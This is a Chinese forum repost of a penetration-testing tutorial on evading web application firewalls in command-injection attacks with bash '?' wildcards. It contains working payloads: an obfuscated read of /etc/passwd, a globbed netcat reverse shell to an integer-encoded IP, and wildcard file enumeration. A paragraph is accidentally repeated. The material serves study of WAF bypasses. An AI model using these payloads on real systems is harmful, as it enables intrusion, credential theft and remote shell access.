首页 > 编程源码 > 如何绕过web应用程序防火墙(WAF)上

如何绕过web应用程序防火墙(WAF)上

楼主:资源分享 [官方] · 2020-6-14 ·  浏览565 · 编程源码 · ID:
在 Web 应用程序中发现远程命令执行漏洞并不罕见,「OWASP Top 10 2017」榜单中,把“注入”放在第一位,就可见一斑:
当攻击者把作为命令或查询的不可信数据发送给解释器时,会产生注入漏洞,如 SQL,NoSQL,OS 和 LDAP 注入。攻击者的数据可能会诱使解释器执行意外的命令或在没有授权的情况下访问数据。

所有现代 Web 应用防火墙都能拦截 RCE 尝试,但是当它发生在 Linux 系统中时,我们已经有了方法来规避 WAF 规则集。

渗透测试中,很有用的字符是「通配符」。在开始做 WAPT 之前,我想告诉你一些你可能不知道的 bash 和通配符的用法。

特殊的通配符用法
Bash 标准通配符(也称为通配符模式)被各种命令行实用程序用于处理多个文件。并不是每个人都知道 bash 语法可以使用问号 ?、正斜杠 /、数字和字母来执行系统命令。你甚至可以枚举文件并使用相同数量的字符获取其内容。举几个栗子:可以使用以下语法来取代 ls 命令:/???/?s

用这种语法,你可以基本做到你想做的任何事情。假设存在漏洞的目标位于WAF的后面,并且此 WAF 有一条规则,该规则可阻止包含 /etc/passwd 或 /bin/ls 在 GET 参数的值内或 POST 正文中的所有请求。

如果你试图发出这样的请求,/?cmd=cat+/etc/passwd 它将被目标 WAF 阻止,你的 IP 将被永久禁止,并被标记为 yet another f***in’ redteamer。但你有通配符这个秘密武器。

如果目标 WAF 不阻止查询字符串里的 ? 和 /,你就可以很容易地让你的请求(url 编码)变成这样:/?cmd=%2f???%2f??t%20%2f???%2fp??s??

有 3 个错误 :/bin/cat *: Is a directory。发生这种情况是因为 /???/?t 可以被全局进程解释成 /bin/cat,也可以解释成 /dev/net 或 /etc/apt 等。

问号通配符可以代表任何字符。因此,如果你知道一个文件名的一部分,那么你可以使用这个通配符。例如,ls *.??? 将列出当前目录中所有长度为 3 个字符的文件扩展名。因此,你将会看到具有诸如 .gif,.jpg,.txt 之类扩展名的文件。

使用这个通配符,你可以用 netcat 执行一个反弹 shell。假设你需要在端口 1337(通常 nc -e /bin/bash 127.0.0.1 1337)执行一个 127.0.0.1 的反弹 shell ,你可以用下面的语法来完成:
/???/n? -e /???/b??h 2130706433 1337

将 IP 地址127.0.0.1转换为长整数格式(2130706433),可以避免在 HTTP 请求中使用 . 字符。

在 kali 中,需要使用 nc.traditional 而不是 nc,没有 -e 参数,以便 /bin/bash 连接后执行。有效载荷变成这样:

/???/?c.??????????? -e /???/b??h 2130706433 1337

将 IP 地址127.0.0.1转换为长整数格式(2130706433),可以避免在 HTTP 请求中使用 . 字符。

在 kali 中,需要使用 nc.traditional 而不是 nc,没有 -e 参数,以便 /bin/bash 连接后执行。有效载荷变成这样:

/???/?c.??????????? -e /???/b??h 2130706433 1337

使用通配符执行反弹 shell

在对我们刚才看到的两个命令进行总结:http://www.iyuji.cn/iyuji/s/UDY2Y2lWOW9VV2dkcmh0a25XbjRldz09/1592068666455699
为什么使用 ? 而不是 *?由于 * 广泛用于评论语法,许多 WAF 为了避免 SQL 注入而过滤它,像 UNION+SELECT+1,2,3/*

使用 echo 来枚举文件和目录。该 echo 命令可以使用通配符枚举文件系统上的文件和目录。例如 echo /*/*ss* :

这命令可以在 RCE 漏洞中使用,以获取目标系统上的文件和目录,例如:

但为什么使用通配符(特别是问号)可以绕过 WAF?
Sucuri WAF 绕过
测试 WAF 规则集的最佳方法是什么?创建一个有漏洞的 PHP 脚本,并尝试所有可能的技术。在上图的左上方的窗格中,是一个有漏洞的PHP脚本。
http://www.iyuji.cn/iyuji/s/UDY2Y2lWOW9VV2dkcmh0a25XbjRldz09/1592068720248719
- 版权声明 - 1、本帖所有言论和图片等纯属网友个人意见,与流星社区立场无关;
2、其他单位或个人使用、转载或引用本帖时必须同时征得该帖子作者资源分享流星社区的同意;
3、备注原文地址:https://bbs.liuxingw.com/t/30819.html,可忽略第2条;
4、帖子作者需承担一切因本文发表而直接或间接导致的相关责任;
5、如本帖内容或部分内容转载自其它媒体,这并不代表本站赞同其观点和对其真实性负责;
6、如本帖若为资源类,将仅限用于学习和研究目的,您必须在下载后的24个小时之内,从您安装或使用的设备中彻底删除上述内容;
7、如果您喜欢该程序,请支持正版软件,购买注册,可以得到更好的正版服务;
8、如本帖侵犯到任何版权或违法问题,请立即邮件告知我们,我们将及时予以处理。
1条回复 |  最后回复于2020-6-14

资源分享 [官方]

自古一楼是楼主
发布于2020-6-14

回复列表

  • 内容加载中...

说点什么...
登录注册 后才可进行评论
签到
57人签到
已签0天
  • 46569帖子
  • 1936041热点量
  • 184674火热值